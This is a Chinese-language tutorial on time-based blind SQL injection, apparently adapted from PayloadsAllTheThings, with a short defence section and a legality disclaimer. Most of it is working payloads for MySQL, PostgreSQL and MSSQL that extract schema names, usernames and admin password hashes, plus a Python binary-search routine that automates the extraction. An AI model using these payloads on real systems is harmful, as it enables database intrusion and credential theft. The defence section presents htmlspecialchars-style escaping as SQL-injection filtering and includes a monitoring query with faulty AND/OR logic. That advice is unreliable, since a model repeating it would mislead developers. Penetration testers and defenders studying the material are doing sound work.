PayloadsAllTheThings时间盲注:基于时间的盲注Payload技术
概述:时间盲注的核心原理
时间盲注(Time-Based Blind SQL Injection)是一种高级SQL注入技术,当应用程序不直接返回查询结果或错误信息时,攻击者通过观察数据库响应时间的差异来推断信息。这种技术依赖于数据库的延迟函数,通过精心构造的payload来探测数据库结构和数据。
多数据库时间延迟函数对比
| 数据库类型 | 主要延迟函数 | 备用延迟函数 | 语法示例 |
|---|---|---|---|
| MySQL | SLEEP() | BENCHMARK() | SLEEP(5) / BENCHMARK(1000000,MD5(1)) |
| PostgreSQL | pg_sleep() | generate_series() | pg_sleep(5) / SELECT COUNT(*) FROM GENERATE_SERIES(1,1000000) |
| MSSQL | WAITFOR DELAY | - | WAITFOR DELAY '00:00:05' |
| Oracle | DBMS_LOCK.SLEEP | - | DBMS_LOCK.SLEEP(5) |
MySQL时间盲注深度解析
基础时间延迟Payload
-- 简单延迟测试
' OR SLEEP(5)#
" OR SLEEP(5)#
1 OR SLEEP(5)#
-- 带括号的复杂payload
') OR SLEEP(5)='
")) OR SLEEP(5)="
1)) OR SLEEP(5)#
-- 使用BENCHMARK函数
' OR BENCHMARK(10000000,MD5(1))#
条件时间盲注技术
条件时间盲注是时间盲注的核心,通过IF语句结合延迟函数来实现数据提取:
-- 提取数据库版本第一位
' OR IF(ASCII(SUBSTRING(VERSION(),1,1))=53, SLEEP(5), 1)='
-- 提取当前用户第一位
' OR IF(ASCII(SUBSTRING(USER(),1,1))>64, SLEEP(3), 1)='
-- 使用BENCHMARK的条件盲注
' OR IF(ASCII(SUBSTRING(@@version,1,1))=53, BENCHMARK(10000000,MD5(1)), 0)='
-- 子查询中的时间盲注
' AND (SELECT SLEEP(5) FROM DUAL WHERE DATABASE() LIKE 'A%')#
高级数据提取技术
-- 提取表名长度
' OR IF((SELECT LENGTH(table_name) FROM information_schema.tables
WHERE table_schema=database() LIMIT 1)=10, SLEEP(5), 1)='
-- 逐字符提取表名
' OR IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 1),1,1))=117, SLEEP(3), 1)='
-- 提取数据内容
' OR IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97, SLEEP(5), 1)='
PostgreSQL时间盲注技术
基础Payload
-- 简单延迟测试
SELECT pg_sleep(5);
' OR (SELECT pg_sleep(5))--
; SELECT pg_sleep(5)--
-- 条件时间盲注
SELECT CASE WHEN (SELECT SUBSTRING(version(),1,1)='9')
THEN pg_sleep(5) ELSE pg_sleep(0) END;
-- 使用generate_series制造延迟
SELECT COUNT(*) FROM GENERATE_SERIES(1,10000000);
数据提取示例
-- 检查数据库版本
' AND CASE WHEN (SELECT SUBSTRING(version(),1,1)='9')
THEN pg_sleep(5) ELSE pg_sleep(0) END;--
-- 提取表名
' AND CASE WHEN (SELECT ASCII(SUBSTRING(
(SELECT tablename FROM pg_tables WHERE schemaname='public' LIMIT 1),1,1)))=117
THEN pg_sleep(3) ELSE pg_sleep(0) END;--
MSSQL时间盲注技术
WAITFOR DELAY用法
-- 基础延迟
'; WAITFOR DELAY '00:00:05'--
'); WAITFOR DELAY '00:00:05'--
1; WAITFOR DELAY '00:00:05'--
-- 条件延迟
'; IF (SELECT ASCII(SUBSTRING(@@version,1,1)))=53
WAITFOR DELAY '00:00:05'--
时间盲注的自动化与优化
二分查找算法优化
传统的时间盲注需要逐字符探测(最多256次请求 per字符),使用二分查找可以将请求次数降至8次 per字符:
# 二分查找算法示例
def extract_char(sql_payload):
low, high = 0, 255
while low <= high:
mid = (low + high) // 2
# 构造payload测试mid值
payload = f"' OR IF(ASCII(SUBSTRING(({sql_payload}),1,1))>{mid},SLEEP(2),0)='"
if execute_with_delay(payload, 2):
low = mid + 1
else:
high = mid - 1
return chr(low)
常见优化技巧
- 批量提取:使用
SUBSTRING一次提取多个字符 - 并行请求:同时测试多个字符位置
- 缓存利用:避免重复查询相同数据
- 错误处理:实现重试机制应对网络波动
防御策略与最佳实践
输入验证与过滤
// 参数化查询示例(PHP PDO)
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $user_input]);
// 输入过滤
function sanitize_input($input) {
$input = stripslashes($input);
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
return $input;
}
数据库层防护
| 防护措施 | 实施方法 | 效果 |
|---|---|---|
| 最小权限原则 | 限制数据库用户权限 | 防止数据泄露 |
| 输入验证 | 白名单验证 | 阻止恶意输入 |
| 参数化查询 | 使用预处理语句 | 防止SQL注入 |
| WAF部署 | Web应用防火墙 | 实时检测阻挡 |
监控与检测
-- 监控长时间运行的查询
SELECT * FROM information_schema.PROCESSLIST
WHERE TIME > 10 AND INFO LIKE '%SLEEP(%' OR INFO LIKE '%BENCHMARK(%';
-- 检测异常时间延迟
监控平均响应时间,设置阈值告警
实战案例研究
案例1:MySQL用户凭证提取
-- 提取用户名长度
' OR IF((SELECT LENGTH(username) FROM users WHERE id=1)=5, SLEEP(3), 1)='
-- 逐字符提取用户名
' OR IF(ASCII(SUBSTRING((SELECT username FROM users WHERE id=1),1,1))=97, SLEEP(3), 1)='
-- 提取密码hash
' OR IF(ASCII(SUBSTRING((SELECT password FROM users WHERE id=1),1,1))=109, SLEEP(3), 1)='
案例2:PostgreSQL数据库结构探测
-- 探测数据库版本
' AND CASE WHEN (SELECT SUBSTRING(version(),1,1)='9')
THEN pg_sleep(3) ELSE pg_sleep(0) END;--
-- 提取表数量
' AND CASE WHEN (SELECT COUNT(*) FROM information_schema.tables
WHERE table_schema='public')>10
THEN pg_sleep(3) ELSE pg_sleep(0) END;--
总结与展望
时间盲注作为一种高级SQL注入技术,虽然攻击成本较高(需要大量请求和时间),但在某些安全防护严格的环境中可能是唯一的攻击途径。防御时间盲注需要多层次的安全策略:
- 开发层面:严格实施参数化查询和输入验证
- 数据库层面:配置适当的权限和监控机制
- 网络层面:部署WAF和异常检测系统
- 运维层面:定期安全审计和漏洞扫描
随着数据库安全技术的不断发展,时间盲注技术也在不断进化。安全研究人员和开发人员都需要保持警惕,及时更新防护措施,确保应用程序的安全性。
注意:本文所述技术仅供安全研究和防御参考,请勿用于非法用途。在实际渗透测试中,务必获得明确的授权许可。
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考



